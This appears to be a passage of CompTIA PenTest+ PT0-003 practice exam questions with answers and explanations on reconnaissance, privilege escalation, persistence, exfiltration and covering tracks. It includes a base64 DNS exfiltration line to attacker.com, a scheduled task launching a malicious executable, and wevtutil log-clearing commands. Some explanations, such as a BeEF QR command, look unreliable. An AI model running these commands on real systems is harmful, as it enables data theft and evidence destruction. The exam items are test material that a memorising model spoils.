* Option D (SQL injection) #: SQLi affects databases, not voice communications.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - OSINT & Eavesdropping Techniques

**NEW QUESTION: 28**
A penetration tester needs to help create a threat model of a custom application. Which of the following is the most likely framework the tester will use?
**A.** MITRE ATT&CK
**B.** OSSTMM
**C.** CI/CD
**D.** DREAD
**Answer: (SHOW ANSWER)**
The DREAD model is a risk assessment framework used to evaluate and prioritize the security risks of an application. It stands for Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability.
* Understanding DREAD:
* Purpose: Provides a structured way to assess and prioritize risks based on their potential impact and likelihood.
* Components:
* Damage Potential: The extent of harm that an exploit could cause.
* Reproducibility: How easily the exploit can be reproduced.
* Exploitability: The ease with which the vulnerability can be exploited.
* Affected Users: The number of users affected by the exploit.
* Discoverability: The likelihood that the vulnerability will be discovered.
* Usage in Threat Modeling:
* Evaluation: Assign scores to each DREAD component to assess the overall risk.
* Prioritization: Higher scores indicate higher risks, helping prioritize remediation efforts.
* Process:
* Identify Threats: Enumerate potential threats to the application.
* Assess Risks: Use the DREAD model to evaluate each threat.

* Prioritize: Focus on addressing the highest-scoring threats first.
* References from Pentesting Literature:
* The DREAD model is widely discussed in threat modeling and risk assessment sections of penetration testing guides.
* HTB write-ups often include references to DREAD when explaining how to assess and prioritize vulnerabilities in applications.
Step-by-Step ExplanationReferences:
* Penetration Testing - A Hands-on Introduction to Hacking
* HTB Official Writeups

**NEW QUESTION: 29**
A penetration tester runs a network scan but has some issues accurately enumerating the vulnerabilities due to the following error:
OS identification failed
Which of the following is most likely causing this error?
**A.** The scan did not reach the target because of a firewall block rule.
**B.** The scanner database is out of date.
**C.** The scan is reporting a false positive.
**D.** The scan cannot gather one or more fingerprints from the target.
**Answer: (SHOW ANSWER)**
OS identification in tools like Nmap relies on fingerprinting techniques, which analyze response characteristics (e.g., TCP/IP stack behavior).
The scan cannot gather one or more fingerprints from the target (Option D):
If the system is configured to block ICMP responses, or if certain ports are closed, fingerprinting fails.
Some modern firewalls and intrusion prevention systems (IPS) interfere with OS fingerprinting by modifying packet responses.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Network Scanning and Fingerprinting Challenges" Incorrect options:
Option A (Firewall block rule): A firewall may block the scan, but typically it would result in no response rather than an "OS identification failed" message.
Option B (Outdated scanner database): While an outdated database might miss vulnerabilities, it does not directly cause OS detection failure.
Option C (False positive): A false positive refers to incorrect detection, but this is an OS detection failure, not a misidentified OS.

**NEW QUESTION: 30**
During an assessment, a penetration tester runs the following command:
dnscmd.exe /config /serverlevelplugindll C:\users\necad-TA\Documents\adduser.dll Which of the following is the penetration tester trying to achieve?

**A.** DNS enumeration

**B.** Privilege escalation
**C.** Command injection
**D.** A list of available users
**Answer: (SHOW ANSWER)**
The tester is attempting to register a malicious DLL as a server-level plugin to escalate privileges.
Privilege escalation (Option B):
The command uses dnscmd.exe, a legitimate Windows tool for managing DNS servers.
By setting a malicious DLL (adduser.dll) as a server-level plugin, attackers can gain SYSTEM-level privileges.
This technique is a DLL hijacking attack.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Windows Privilege Escalation Techniques" Incorrect options:
Option A (DNS enumeration): The command modifies DNS settings rather than querying them.
Option C (Command injection): The attacker is not injecting arbitrary shell commands.
Option D (List of users): The command does not retrieve user information.et unauthorized access to

**NEW QUESTION: 31**
Which of the following could be used to enhance the quality and reliability of a vulnerability scan report?
**A.** Risk analysis
**B.** Peer review
**C.** Root cause analysis
**D.** Client acceptance
**Answer: (SHOW ANSWER)**
A peer review ensures the accuracy, completeness, and objectivity of a penetration test report.
* Option A (Risk analysis) #: Helps prioritize vulnerabilities but does not validate report accuracy.
* Option B (Peer review) #: Correct.
* Ensures report accuracy and consistency.
* Identifies misinterpretations or missing details.
* Option C (Root cause analysis) #: Helps in remediation but does not verify report quality.
* Option D (Client acceptance) #: A client review is final verification, but peer review happens earlier to ensure accuracy.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Reporting & Quality Assurance

**NEW QUESTION: 32**
During an assessment, a penetration tester obtains a low-privilege shell and then runs the following command:
findstr /SIM /C:"pass" *.txt *.cfg *.xml
Which of the following is the penetration tester trying to enumerate?
**A.** Configuration files
**B.** Permissions
**C.** Virtual hosts
**D.** Secrets
**Answer: (SHOW ANSWER)**
By running the command findstr /SIM /C:"pass" *.txt *.cfg *.xml, the penetration tester is trying to enumerate secrets.
Command Analysis:
findstr: A command-line utility in Windows used to search for specific strings in files.
/SIM: Combination of options; /S searches for matching files in the current directory and all subdirectories, /I specifies a case-insensitive search, and /M prints only the filenames with matching content.
/C:"pass": Searches for the literal string "pass".
***.txt .cfg .xml: Specifies the file types to search within.
Objective:
The command is searching for the string "pass" within .txt, .cfg, and .xml files, which is indicative of searching for passwords or other sensitive information (secrets).
These file types commonly contain configuration details, credentials, and other sensitive data that might include passwords or secrets.
Other Options:
Configuration files: While .cfg and .xml files can be configuration files, the specific search for "pass" indicates looking for secrets like passwords.
Permissions: This command does not check or enumerate file permissions.
Virtual hosts: This command is not related to enumerating virtual hosts.
Pentest References:
Post-Exploitation: Enumerating sensitive information like passwords is a common post-exploitation activity after gaining initial access.
Credential Discovery: Searching for stored credentials within configuration files and documents to escalate privileges or move laterally within the network.
By running this command, the penetration tester aims to find stored passwords or other secrets that could help in further exploitation of the target system.

**NEW QUESTION: 33**

A penetration tester is getting ready to conduct a vulnerability scan as part of the testing process. The tester will evaluate an environment that consists of a container orchestration cluster. Which of the following tools should the tester use to evaluate the cluster?

**A.** Trivy

**B.** Nessus

**C.** Grype

**D.** Kube-hunter

**Answer: (SHOW ANSWER)**

Evaluating a container orchestration cluster, such as Kubernetes, requires specialized tools designed to assess the security and configuration of container environments. Here's an analysis of each tool and why Kube- hunter is the best choice:

Trivy (Option A):

Trivy is a vulnerability scanner for container images and filesystem.

Capabilities: While effective at scanning container images for vulnerabilities, it is not specifically designed to assess the security of a container orchestration cluster itself.

Nessus (Option B):

Nessus is a general-purpose vulnerability scanner that can assess network devices, operating systems, and applications.

Capabilities: It is not tailored for container orchestration environments and may miss specific issues related to Kubernetes or other orchestration systems.

Grype (Option C):

Grype is a vulnerability scanner for container images.

Capabilities: Similar to Trivy, it focuses on identifying vulnerabilities in container images rather than assessing the overall security posture of a container orchestration cluster.

Kube-hunter:

Kube-hunter is a tool specifically designed to hunt for security vulnerabilities in Kubernetes clusters.

Capabilities: It scans the Kubernetes cluster for a wide range of security issues, including misconfigurations and vulnerabilities specific to Kubernetes environments.

References: Kube-hunter is recognized for its effectiveness in identifying Kubernetes-specific security issues and is widely used in security assessments of container orchestration clusters.

Conclusion: Kube-hunter is the most appropriate tool for evaluating a container orchestration cluster, such as Kubernetes, due to its specialized focus on identifying security vulnerabilities and misconfigurations specific to such environments.

**NEW QUESTION: 34**

A penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?

**A.** VM

**B.** IAST

**C.** DAST

**D.** SCA

**Answer: (SHOW ANSWER)**

Software Composition Analysis (SCA) is used to analyze dependencies in applications and identify vulnerable open-source libraries.

* Option A (VM - Virtual Machine) #: A VM is a computing environment, not a vulnerability detection tool.
* Option B (IAST - Interactive Application Security Testing) #: IAST analyzes runtime behavior, but it does not specialize in detecting vulnerable libraries.
* Option C (DAST - Dynamic Application Security Testing) #: DAST scans running applications for vulnerabilities, but it does not analyze open-source libraries.
* Option D (SCA - Software Composition Analysis) #: Correct.
* Identifies security flaws in dependencies.
* Used for managing supply chain risks.

# Reference: CompTIA PenTest+ PT0-003 Official Guide - Software Composition Analysis (SCA)

**NEW QUESTION: 35**

A tester needs to begin capturing WLAN credentials for cracking during an on-site engagement. Which of the following is the best command to capture handshakes?

**A.** tcpdump -n -s0 -w <pcapname> -i <iface>

**B.** airserv-ng -d <iface>

**C.** aireplay-ng -0 1000 -a <target_mac>

**D.** airodump-ng -c 6 --bssid <target_mac> <iface>

**Answer: (SHOW ANSWER)**

The command airodump-ng -c 6 --bssid <target_mac> <iface> is used to capture WPA/WPA2 4-way handshakes on a specific channel and BSSID. This handshake is necessary for offline password cracking using tools like Hashcat or John the Ripper.

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 7 - Wireless Attacks): "Airodump-ng is used to capture handshakes between a client and access point. The attacker can then attempt to crack the captured handshake offline." Reference: Chapter 7, CompTIA PenTest+ PT0-003 Official Study Guide

**NEW QUESTION: 36**

A penetration tester has discovered sensitive files on a system. Assuming exfiltration of the files is part of the scope of the test, which of the following is most likely to evade DLP systems?

**A.** Encoding the data and pushing through DNS to the tester's controlled server.

**B.** Padding the data and uploading the files through an external cloud storage service.

**C.** Obfuscating the data and pushing through FTP to the tester's controlled server.

**D.** Hashing the data and emailing the files to the tester's company inbox.

**Answer: (SHOW ANSWER)**

DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.

Encoding the data and exfiltrating through DNS (Option A):
DNS is often overlooked by DLP systems because it is required for network functionality.
Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.
Example method
echo "Sensitive Data" | base64 | nslookup -q=TXT attacker.com
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Data Exfiltration Techniques"
Incorrect options:
Option B (Cloud storage): Many organizations monitor file uploads to cloud storage.
Option C (FTP): FTP is easily monitored and flagged by DLP solutions.
Option D (Hashing and emailing): Emails are actively scanned by DLP policies.

**NEW QUESTION: 37**
A consultant starts a network penetration test. The consultant uses a laptop that is hardwired to the network to try to assess the network with the appropriate tools. Which of the following should the consultant engage first?
**A.** Service discovery
**B.** OS fingerprinting
**C.** Host discovery
**D.** DNS enumeration
**Answer: (SHOW ANSWER)**
In network penetration testing, the initial steps involve gathering information to build an understanding of the network's structure, devices, and potential entry points. The process generally follows a structured approach, starting from broad discovery methods to more specific identification techniques. Here's a comprehensive breakdown of the steps:
* Host Discovery (answer: C):
* Objective: Identify live hosts on the network.
* Tools & Techniques:
* Ping Sweep: Using tools like nmap with the -sn option (ping scan) to check for live hosts by sending ICMP Echo requests.
* ARP Scan: Useful in local networks, arp-scan can help identify all devices on the local subnet by broadcasting ARP requests.
nmap -sn 192.168.1.0/24
* References:
* The GoBox HTB write-up emphasizes the importance of identifying hosts before moving to service enumeration.
* The Forge HTB write-up also highlights using Nmap for initial host discovery in its enumeration phase.
Service Discovery (Option A):
* Objective: After identifying live hosts, determine the services running on them.
* Tools & Techniques:
* Nmap: Often used with options like -sV for version detection to identify services.

nmap -sV 192.168.1.100
* References:
* As seen in multiple write-ups (e.g., Anubis HTB and Bolt HTB), service discovery follows host identification to understand the services available for potential exploitation.
OS Fingerprinting (Option B):
* Objective: Determine the operating system of the identified hosts.
* Tools & Techniques:
* Nmap: With the -O option for OS detection.
nmap -O 192.168.1.100
* References:
* Accurate OS fingerprinting helps tailor subsequent attacks and is often performed after host and service discovery, as highlighted in the write-ups.
DNS Enumeration (Option D):
* Objective: Identify DNS records and gather subdomains related to the target domain.
* Tools & Techniques:
* dnsenum, dnsrecon, and dig.
dnsenum example.com
* References:
* DNS enumeration is crucial for identifying additional attack surfaces, such as subdomains and related services. This step is typically part of the reconnaissance phase but follows host discovery and sometimes service identification.
Conclusion: The initial engagement in a network penetration test is to identify the live hosts on the network (Host Discovery). This foundational step allows the penetration tester to map out active devices before delving into more specific enumeration tasks like service discovery, OS fingerprinting, and DNS enumeration.
This structured approach ensures that the tester maximizes their understanding of the network environment efficiently and systematically.

**NEW QUESTION: 38**
A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?
Host | CVSS | EPSS
Target 1 | 4 | 0.6
Target 2 | 2 | 0.3
Target 3 | 1 | 0.6
Target 4 | 4.5 | 0.4
**A.** Target 1: CVSS Score = 4 and EPSS Score = 0.6
**B.** Target 2: CVSS Score = 2 and EPSS Score = 0.3
**C.** Target 3: CVSS Score = 1 and EPSS Score = 0.6
**D.** Target 4: CVSS Score = 4.5 and EPSS Score = 0.4

**Answer: (SHOW ANSWER)**
Based on the CVSS (Common Vulnerability Scoring System) and EPSS (Exploit Prediction Scoring System) scores, Target 1 is the most likely to get attacked.
* CVSS:
* Definition: CVSS provides a numerical score to represent the severity of a vulnerability, helping to prioritize the response based on the potential impact.
* Score Range: Scores range from 0 to 10, with higher scores indicating more severe vulnerabilities.
* EPSS:
* Definition: EPSS estimates the likelihood that a vulnerability will be exploited in the wild within the next 30 days.
* Score Range: EPSS scores range from 0 to 1, with higher scores indicating a higher likelihood of exploitation.
* Analysis:
* Target 1: CVSS = 4, EPSS = 0.6
* Target 2: CVSS = 2, EPSS = 0.3
* Target 3: CVSS = 1, EPSS = 0.6
* Target 4: CVSS = 4.5, EPSS = 0.4
* Target 1 has a moderate CVSS score and a high EPSS score, indicating it has a significant vulnerability that is quite likely to be exploited.
Pentest References:
* Vulnerability Prioritization: Using CVSS and EPSS scores to prioritize vulnerabilities based on severity and likelihood of exploitation.
* Risk Assessment: Understanding the balance between impact (CVSS) and exploit likelihood (EPSS) to identify the most critical targets for remediation or attack.
By focusing on Target 1, which has a balanced combination of severity and exploitability, the penetration tester can address the most likely target for attacks based on the given scores.

**NEW QUESTION: 39**
A company hires a penetration tester to perform an external attack surface review as part of a security engagement. The company informs the tester that the main company domain to investigate is comptia.org.
Which of the following should the tester do to accomplish the assessment objective?
**A.** Perform information-gathering techniques to review internet-facing assets for the company.
**B.** Perform a phishing assessment to try to gain access to more resources and users' computers.
**C.** Perform a physical security review to identify vulnerabilities that could affect the company.
**D.** Perform a vulnerability assessment over the main domain address provided by the client.
**Answer: (SHOW ANSWER)**
Comprehensive and Detailed Explanation:
An external attack surface review focuses on identifying publicly accessible assets that an attacker could exploit. The first step in this process is information gathering, which involves

enumerating domains, subdomains, public IPs, DNS records, and other internet-facing resources. This is done using passive reconnaissance tools such as Whois, Shodan, Google Dorking, and OSINT techniques.
Option A is correct because it aligns with the assessment goal-finding public-facing systems and their vulnerabilities before an attacker does.
Option B (phishing assessment) is incorrect because it involves social engineering, which is not part of an external attack surface review.
Option C (physical security review) is incorrect as it pertains to physical penetration testing, not an external attack analysis.
Option D (vulnerability assessment) is incorrect because a vulnerability assessment is a later step after reconnaissance. The first step is identifying assets through information gathering.
Reference: CompTIA PenTest+ PT0-003 Official Guide - Chapter 4 (Information Gathering and OSINT).

**NEW QUESTION: 40**

A penetration tester is performing an authorized physical assessment. During the test, the tester observes an access control vestibule and on-site security guards near the entry door in the lobby. Which of the following is the best attack plan for the tester to use in order to gain access to the facility?



**A.** Clone badge information in public areas of the facility to gain access to restricted areas.
**B.** Tailgate into the facility during a very busy time to gain initial access.
**C.** Pick the lock on the rear entrance to gain access to the facility and try to gain access.
**D.** Drop USB devices with malware outside of the facility in order to gain access to internal machines.
**Answer: (SHOW ANSWER)**
In an authorized physical assessment, the goal is to test physical security controls. Tailgating is a common and effective technique in such scenarios. Here's why option B is correct:
Tailgating: This involves following an authorized person into a secure area without proper credentials. During busy times, it's easier to blend in and gain access without being noticed. It tests the effectiveness of physical access controls and security personnel.
Cloning Badge Information: This can be effective but requires proximity to employees and specialized equipment, making it more complex and time-consuming.
Picking Locks: This is a more invasive technique that carries higher risk and is less stealthy compared to tailgating.
Dropping USB Devices: This tests employee awareness and response to malicious devices but does not directly test physical access controls.
References from Pentest:
Writeup HTB: Demonstrates the effectiveness of social engineering and tailgating techniques in bypassing physical security measures.
Forge HTB: Highlights the use of non-invasive methods like tailgating to test physical security without causing damage or raising alarms.
Conclusion:

Option B, tailgating into the facility during a busy time, is the best attack plan to gain access to the facility in an authorized physical assessment.

**NEW QUESTION: 41**
A tester is working on an engagement that has evasion and stealth requirements. Which of the following enumeration methods is the least likely to be detected by the IDS?
**A.** curl https://api.shodan.io/shodan/host/search?key=<API_KEY>&query=hostname:<target>
**B.** proxychains nmap -sV -T2 <target>
**C.** for i in <target>; do curl -k $i; done
**D.** nmap -sV -T2 <target>
**Answer: (SHOW ANSWER)**
Option A uses Shodan's API to gather information about a target without directly touching the target system.
This makes it the stealthiest option as there's no traffic generated from the tester's IP to the target.
Options B & D use Nmap which is active scanning, and while -T2 reduces intensity, it still generates packets.
Option C is a custom curl script that also interacts directly with the target and can trigger IDS alerts.
CompTIA PenTest+ Reference:
PT0-003 Objective 2.1 & 2.3: Passive vs Active reconnaissance techniques.
Using OSINT sources like Shodan is a key stealth recon method.

**NEW QUESTION: 42**
A penetration tester wants to maintain access to a compromised system after a reboot. Which of the following techniques would be best for the tester to use?
**A.** Establishing a reverse shell
**B.** Executing a process injection attack
**C.** Creating a scheduled task
**D.** Performing a credential-dumping attack
**Answer: (SHOW ANSWER)**
To maintain persistence after a reboot, the tester needs a method that automatically restarts when the system reboots.
* Option A (Reverse shell) #: Reverse shells do not persist after a reboot unless paired with scheduled tasks or registry modifications.
* Option B (Process injection) #: Injecting into a process is temporary-once the system reboots, the injected process is gone.
* Option C (Scheduled task) #: Correct.
* A scheduled task can execute malware, reverse shells, or scripts on system startup, ensuring persistence.
* Example:

schtasks /create /sc onlogon /tn "SystemUpdate" /tr "C:\malicious.exe"
* Option D (Credential dumping) #: While useful for privilege escalation, it does not provide persistence.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Persistence Techniques

**NEW QUESTION: 43**
A penetration tester successfully clones a source code repository and then runs the following command:
find . -type f -exec egrep -i "token|key|login" {} \;
Which of the following is the penetration tester conducting?
**A.** Data tokenization
**B.** Secrets scanning
**C.** Password spraying
**D.** Source code analysis
**Answer: (SHOW ANSWER)**
Penetration testers search for hardcoded credentials, API keys, and authentication tokens in source code repositories to identify secrets leakage.
Secrets scanning (Option B):
The find and egrep command scans all files recursively for sensitive keywords like "token," "key," and
"login".
Attackers use tools like TruffleHog and GitLeaks to automate secret discovery.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Source Code Review and Secret Leakage" Incorrect options:
Option A (Data tokenization): Tokenization replaces sensitive data with unique tokens, not scanning for credentials.
Option C (Password spraying): Tries common passwords across multiple accounts, unrelated to scanning source code.
Option D (Source code analysis): Broader than secrets scanning; this question focuses specifically on credential discovery.

**NEW QUESTION: 44**
Which of the following is within the scope of proper handling and is most crucial when working on a penetration testing report?
**A.** Keeping both video and audio of everything that is done
**B.** Keeping the report to a maximum of 5 to 10 pages in length
**C.** Basing the recommendation on the risk score in the report
**D.** Making the report clear for all objectives with a precise executive summary
**Answer: D (LEAVE A REPLY)**
A well-structured penetration testing report should be clear, objective-driven, and include an executive summary to communicate findings effectively to both technical teams and executives.

* Option A (Keeping video/audio of everything) #: Not required. Video/audio documentation is rarely used in penetration testing reports.
* Option B (Keeping reports 5-10 pages) #: Reports vary in length based on scope and complexity. There is no strict page limit.
* Option C (Basing recommendations on risk score) #: Risk scores are important, but the report should also provide remediation guidance, exploitability context, and business impact.
* Option D (Clear objectives & executive summary) #: Correct.
* The executive summary helps non-technical stakeholders understand risks and priorities.
* The report should be detailed yet clear, focusing on findings, impact, and remediation.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Penetration Testing Reports & Communication

**NEW QUESTION: 45**
A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool:
bash
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
111/tcp open rpcbind
2049/tcp open nfs
Based on the output, which of the following services provides the best target for launching an attack?
**A.** Database
**B.** Remote access
**C.** Email
**D.** File sharing
**Answer: D (LEAVE A REPLY)**
From the Nmap results:
* Service Analysis:
* SSH (22): Secure Shell is a remote access protocol that is typically well-secured with encryption and authentication mechanisms. It's not the easiest to exploit without valid credentials or known vulnerabilities.
* SMTP (25): The port is filtered, which indicates that it might be blocked by a firewall, making it less accessible as an attack vector.
* RPCBind (111): RPC services can sometimes expose vulnerabilities, but they are less common in modern systems.
* NFS (2049): Network File System is a file-sharing service. Misconfigured NFS servers often expose sensitive files or directories that can be accessed without proper authentication.

* Best Target:NFS (port 2049) is the most attractive target. Attackers can exploit insecure exports, gain unauthorized access to shared directories, or elevate privileges if the server allows root access over NFS.
CompTIA Pentest+ References:
* Domain 2.0 (Information Gathering and Vulnerability Identification)
* Domain 3.0 (Attacks and Exploits)

**NEW QUESTION: 46**
A penetration tester must identify vulnerabilities within an ICS (Industrial Control System) that is not connected to the internet or enterprise network. Which of the following should the tester utilize to conduct the testing?
**A.** Channel scanning
**B.** Stealth scans
**C.** Source code analysis
**D.** Manual assessment
**Answer: (SHOW ANSWER)**
Since the ICS is air-gapped (not connected to external networks), the best approach is manual assessment, which involves on-site testing, physical access, and reviewing configurations to identify vulnerabilities.
Option A (Channel scanning) #: This is used for wireless networks, not for isolated ICS systems.
Option B (Stealth scans) #: A stealth scan is a method to avoid detection while scanning, but it still requires network connectivity.
Option C (Source code analysis) #: If the ICS is a proprietary system, source code might not be available.
Also, vulnerabilities could exist outside the code, such as misconfigurations.
Option D (Manual assessment) #: Correct. The ICS is offline, so a manual review of system settings, firmware, and configurations is the best approach.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - ICS & SCADA Testing



**NEW QUESTION: 47**
During a red-team exercise, a penetration tester obtains an employee's access badge. The tester uses the badge' s information to create a duplicate for unauthorized entry.

Which of the following best describes this action?
**A.** Smurfing
**B.** Credential stuffing
**C.** RFID cloning
**D.** Card skimming
**Answer: (SHOW ANSWER)**
RFID cloning involves copying data from an existing access card to create a duplicate badge. Attackers use tools like Proxmark3 or Flipper Zero to capture and replicate RFID signals.
Option A (Smurfing) #: A DDoS attack technique, unrelated to physical security.
Option B (Credential stuffing) #: Uses compromised usernames/passwords, not RFID badges.
Option C (RFID cloning) #: Correct. Creates a duplicate access badge using RFID technology.
Option D (Card skimming) #: Steals credit card data, but does not duplicate RFID badges.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Physical Security Testing & RFID Cloning

**NEW QUESTION: 48**
During a pre-engagement activity with a new customer, a penetration tester looks for assets to test.
Which of the following is an example of a target that can be used for testing?
**A.** API
**B.** HTTP
**C.** IPA
**D.** ICMP
**Answer: (SHOW ANSWER)**
An API (Application Programming Interface) is a common target in penetration testing, especially in modern web and mobile applications. APIs can be entry points for injection attacks, authentication bypasses, and data leakage.
From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 1 - Planning and Scoping): "Testers should identify all targets, including web applications, APIs, and other exposed services as part of the rules of engagement." Reference: Chapter 1, CompTIA PenTest+ PT0-003 Official Study Guide

**NEW QUESTION: 49**
During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?
**A.** Clear the Windows event logs.
**B.** Modify the system time.
**C.** Alter the log permissions.
**D.** Reduce the log retention settings.
**Answer: A (LEAVE A REPLY)**

During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here's a detailed explanation of why clearing the Windows event logs is the best method for this scenario:
* Understanding Windows Event Logs: Windows event logs are a key forensic artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.
* Why Clear Windows Event Logs:
* Comprehensive Coverage: Clearing the event logs removes all recorded events, including login attempts, application errors, and security alerts. This makes it difficult for an investigator to trace back the actions performed by the attacker.
* Avoiding Detection: Penetration testers clear event logs to ensure that their presence and activities are not detected by system administrators or security monitoring tools.
* Method to Clear Event Logs:
* Use the built-in Windows command line utility wevtutil to clear logs. For example:
shell
Copy code
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
* These commands clear the System, Security, and Application logs, respectively.
* Alternative Options and Their Drawbacks:
* Modify the System Time: Changing the system time can create confusion but is easily detectable and can be reverted. It does not erase existing log entries.
* Alter Log Permissions: Changing permissions might prevent new entries but does not remove existing ones and can alert administrators to suspicious activity.
* Reduce Log Retention Settings: This can limit future logs but does not affect already recorded logs and can be easily noticed by administrators.
* Case References:
* HTB Writeups: Many Hack The Box (HTB) writeups demonstrate the importance of clearing logs post-exploitation to maintain stealth. For example, in the "Gobox" and "Writeup" machines, maintaining a low profile involved managing log data to avoid detection.
* Real-World Scenarios: In real-world penetration tests, attackers often clear logs to avoid detection by forensic investigators and incident response teams. This step is crucial during red team engagements and advanced persistent threat (APT) simulations.
In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester's actions remain undetected.

**NEW QUESTION: 50**

A penetration tester is performing an assessment focused on attacking the authentication identity provider hosted within a cloud provider. During the reconnaissance phase, the tester finds that the system is using OpenID Connect with OAuth and has dynamic registration enabled. Which of the following attacks should the tester try first?



**A.** A password-spraying attack against the authentication system
**B.** A brute-force attack against the authentication system
**C.** A replay attack against the authentication flow in the system
**D.** A mask attack against the authentication system
**Answer: (SHOW ANSWER)**
OpenID Connect (OIDC) with OAuth allows applications to authenticate users using third-party identity providers (IdPs). If dynamic registration is enabled, attackers can abuse this feature to capture and replay authentication requests.
Replay attack (Option C):
Attackers capture legitimate authentication tokens and reuse them to impersonate users.
OIDC uses JWTs (JSON Web Tokens), which may not expire quickly, making replay attacks highly effective.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Attacking Identity Providers and OAuth" Incorrect options:
Option A (Password spraying): Effective against user accounts, but this attack targets authentication tokens.
Option B (Brute-force attack): Less effective against OAuth-based authentication since tokens replace passwords.
Option D (Mask attack): Related to password cracking, not OAuth authentication attacks.

**NEW QUESTION: 51**
A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?
**A.** BeEF
**B.** John the Ripper
**C.** ZAP
**D.** Evilginx
**Answer: (SHOW ANSWER)**
BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It has built-in functionality for generating malicious QR codes, which can be used to direct users to malicious websites, execute browser-based attacks, or gather information.
* Understanding BeEF:
* Purpose: BeEF is designed to exploit vulnerabilities in web browsers and gather information from compromised browsers.
* Features: Includes tools for generating malicious payloads, QR codes, and social engineering techniques.

* Creating Malicious QR Codes:
* Functionality: BeEF has a feature to generate QR codes that, when scanned, redirect the user to a malicious URL controlled by the attacker.
* Command: Generate a QR code that directs to a BeEF hook URL.
Step-by-Step Explanationbeef -x --qr
* Usage in Physical Security Assessments:
* Deployment: Place QR codes in strategic locations to test whether individuals scan them and subsequently compromise their browsers.
* Exploitation: Once scanned, the QR code can lead to browser exploitation, information gathering, or other payload execution.
* References from Pentesting Literature:
* BeEF is commonly discussed in penetration testing guides for its browser exploitation capabilities.
* HTB write-ups and social engineering exercises often mention the use of BeEF for creating malicious QR codes and exploiting browser vulnerabilities.
References:
* Penetration Testing - A Hands-on Introduction to Hacking
* HTB Official Writeups

**NEW QUESTION: 52**
Which of the following techniques is the best way to avoid detection by data loss prevention tools?
**A.** Encoding
**B.** Compression
**C.** Encryption
**D.** Obfuscation
**Answer: (SHOW ANSWER)**
* Encoding to Evade DLP:
* Encoding (e.g., Base64) transforms data into a format that may bypass data loss prevention (DLP) tools.
* DLP solutions often look for specific patterns (e.g., sensitive keywords, file headers) and may not recognize encoded data.
* Why Not Other Options?
* B (Compression): Compression reduces file size but does not typically bypass DLP detection mechanisms.
* C (Encryption): Encrypted data is detectable by DLP tools, though its contents may not be readable.
* D (Obfuscation): While obfuscation hides intent, encoding is more effective for bypassing automated detection.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)

**NEW QUESTION: 53**
A penetration testing team wants to conduct DNS lookups for a set of targets provided by the client. The team crafts a Bash script for this task. However, they find a minor error in one line of the script:
1 #!/bin/bash
2 for i in $(cat example.txt); do
3 curl $i
4 done
Which of the following changes should the team make to line 3 of the script?
**A.** resolvconf $i
**B.** rndc $i
**C.** systemd-resolve $i
**D.** host $i
**Answer: (SHOW ANSWER)**
Script Analysis:
Line 1: #!/bin/bash - This line specifies the script should be executed in the Bash shell.
Line 2: for i in $(cat example.txt); do - This line starts a loop that reads each line from the file example.txt and assigns it to the variable i.
Line 3: curl $i - This line attempts to fetch the content from the URL stored in i using curl. However, for DNS lookups, curl is inappropriate.
Line 4: done - This line ends the loop.
Error Identification:
The curl command is used for transferring data from or to a server, often used for HTTP requests, which is not suitable for DNS lookups.
Correct Command:
To perform DNS lookups, the host command should be used. The host command performs DNS lookups and displays information about the given domain.
Corrected Script:
Replace curl $i with host $i to perform DNS lookups on each target specified in example.txt.
Pentest References:
In penetration testing, DNS enumeration is a crucial step. It involves querying DNS servers to gather information about the target domain, which includes resolving domain names to IP addresses and vice versa.
Common tools for DNS enumeration include host, dig, and nslookup. The host command is particularly straightforward for simple DNS lookups.
By correcting the script to use host $i, the penetration testing team can effectively perform DNS lookups on the targets specified in example.txt.

**NEW QUESTION: 54**
You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

**Answer:**

Explanation:
1. Reflected XSS - Input sanitization (<> ...)
2. Sql Injection Stacked - Parameterized Queries
3. DOM XSS - Input Sanitization (<> ...)
4. Local File Inclusion - sandbox req
5. Command Injection - sandbox req
6. SQLi union - paramtrized queries
7. SQLi error - paramtrized queries
8. Remote File Inclusion - sandbox
9. Command Injection - input saniti $
10. URL redirect - prevent external calls

**NEW QUESTION: 55**
During a red-team exercise, a penetration tester obtains an employee's access badge. The tester uses the badge's information to create a duplicate for unauthorized entry. Which of the following best describes this action?

**A.** Smurfing
**B.** Credential stuffing
**C.** RFID cloning
**D.** Card skimming

**Answer: (SHOW ANSWER)**

* RFID Cloning:
